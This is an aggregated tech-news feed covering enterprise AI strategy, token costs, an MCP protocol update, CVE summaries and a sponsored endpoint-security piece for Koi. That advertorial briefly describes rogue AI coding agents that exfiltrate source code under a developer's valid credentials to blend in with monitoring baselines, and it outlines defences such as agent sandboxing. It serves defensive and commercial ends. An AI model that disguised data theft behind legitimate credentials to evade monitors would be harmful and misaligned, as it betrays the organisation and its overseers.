The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

OpenAI Presence raises new questions about enterprise automation and jobs

Sat, 25 Jul 2026 18:55:50 +0200

The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.

Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.

Workforce impact

Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.

“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.

The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.

Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.

Cost and operational risks

Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.

“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.

Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.

Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.

How to navigate the AI talent wars

Sat, 25 Jul 2026 18:55:50 +0200

Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”

Block did the same thing. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.

This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, you’re behind.

The benchmark has moved

AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, the average revenue per employee is $3.48M, nearly twelve times the traditional SaaS benchmark of $300K.

Boards aren’t comparing you to your 2019 self anymore. They’re comparing you to Anthropic.

This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.

For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.

Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.

‘Acqui-hires’ are a shortcut with a hidden cost

Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: these are acqui-hires dressed up as M&A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.

I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.

But there’s a cost that doesn’t show up in the acquisition price.

AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.

When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.

The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.

The CIO’s real problem

The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.

That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.

The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.

The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.

This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.

Closing the gap without slowing down

The AI talent wars are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.

Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.

The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.

Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption

Sat, 25 Jul 2026 18:55:49 +0200

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Sponsor mismatch is the silent killer of enterprise transformation

Sat, 25 Jul 2026 18:55:49 +0200

Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.

The questions were not coming from the delivery teams. They were coming from the executive sponsor.

The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.

This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.

Most program failures are not execution failures. They are sponsor mismatches.

When governance becomes a debate about delivery practices

When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.

You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.

None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.

When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.

The compounding cost is not unique to any single program. PMI’s research on executive sponsorship consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.

Authority is rarely the issue. Literacy is

When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?

In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.

This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.

Harvard Business Review’s research on effective executive sponsorship has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.

Prosci’s longstanding benchmark studies on change management have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.

Shift the conversation from delivery practices to business risk

When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.

On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.

The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.

This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.

In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.

The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.

There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:

If the decision has to go above the sponsor, they are not the sponsor.

Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.

For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.

A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Model Context Protocol is going stateless to make scaling simpler

Sat, 25 Jul 2026 18:55:48 +0200

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.

Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.

“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.

This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.

Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.

Rebuilding the trust boundary

The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”

The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”

Updated MCP SDKs

To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.

This article first appeared on InfoWorld.

Getting a grip on shadow tokens and AI blowouts

Sat, 25 Jul 2026 18:55:48 +0200

Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.

This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.

And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.

LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.

Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.

When shadow tokens result in real costs

The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.

And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.

According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.

This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.

Shifting the culture from usage to yield

Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.

None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.

Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.

Stopping token waste before an AI blowout

Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.

This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.

Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.

We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.

This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.

Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

5 endpoint blind spots your EDR/XDR was never built to see

Sat, 25 Jul 2026 18:55:47 +0200

In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.

That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.

This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.

To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.

#1. Gain real-time visibility into shadow AI & extensions

Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the MaliciousCorgi campaign, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.

#2. Distinguish between human and autonomous agent behavior

When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.

#3. Establish guardrails for automated package updates on endpoints

Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.

#4. Enforce principle of least privilege for AI agents

AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.

#5. Maintain continuous endpoint posture management

Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the DarkSpectre campaign found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.

Summary

Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity.

Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.

ESET APT Activity Report Q2 2025–Q3 2025

Sat, 25 Jul 2026 18:52:36 +0200

An overview of the activities of selected APT groups investigated and analyzed by ESET Research in Q2 2025 and Q3 2025

Apples MacBook Ultra soll weit mehr bieten als gewöhnliche MacBooks

Sat, 25 Jul 2026 18:51:58 +0200

Apple plant mit dem MacBook Ultra ein neues Flaggschiff für den Laptop-Markt. Das Gerät soll erstmals einen OLED-Bildschirm sowie Touch bieten. Ein dünneres Design und das Dynamic Island feiern wohl ebenfalls Premiere. Dennoch gibt es einen Wermutstropfen. (Weiter lesen)

CVE-2025-15437 | LigeroSmart up to 6.1.24 Environment Variable REQUEST_URI cross site scripting (Issue 278 / EUVD-2026-0702)

Sat, 25 Jul 2026 16:33:25 +0200

A vulnerability has been found in LigeroSmart up to 6.1.24 and classified as problematic. This affects an unknown part of the component Environment Variable Handler. Performing a manipulation of the argument REQUEST_URI results in cross site scripting. This vulnerability was named CVE-2025-15437. The attack may be initiated remotely. In addition, an exploit is available. The affected component should be upgraded.

CVE-2025-62842 | QNAP HBS 3 Hybrid Backup Sync 25.1.1.673/25.1.4.952 file inclusion (qsa-25-46 / EUVD-2026-0662)

Sat, 25 Jul 2026 16:33:23 +0200

A vulnerability categorized as critical has been discovered in QNAP HBS 3 Hybrid Backup Sync 25.1.1.673/25.1.4.952. This affects an unknown function. Executing a manipulation can lead to file inclusion. The identification of this vulnerability is CVE-2025-62842. The physical device can be targeted for the attack. There is no exploit available. It is advisable to upgrade the affected component.

CVE-2025-15098 | YunaiV yudao-cloud up to 2025.11 Business Process Management BpmHttpCallbackTrigger/BpmSyncHttpRequestTrigger url/header/body server-side request forgery (EUVD-2025-205414)

Sat, 25 Jul 2026 16:33:17 +0200

A vulnerability was found in YunaiV yudao-cloud up to 2025.11. It has been declared as critical. This affects the function BpmHttpCallbackTrigger/BpmSyncHttpRequestTrigger of the component Business Process Management. Executing a manipulation of the argument url/header/body can lead to server-side request forgery. This vulnerability appears as CVE-2025-15098. The attack may be performed from remote. In addition, an exploit is available. The vendor was contacted early about this disclosure but did not respond in any way.

Netflix Neuheiten im August 2026 – diese Serien und Filme erwarten euch

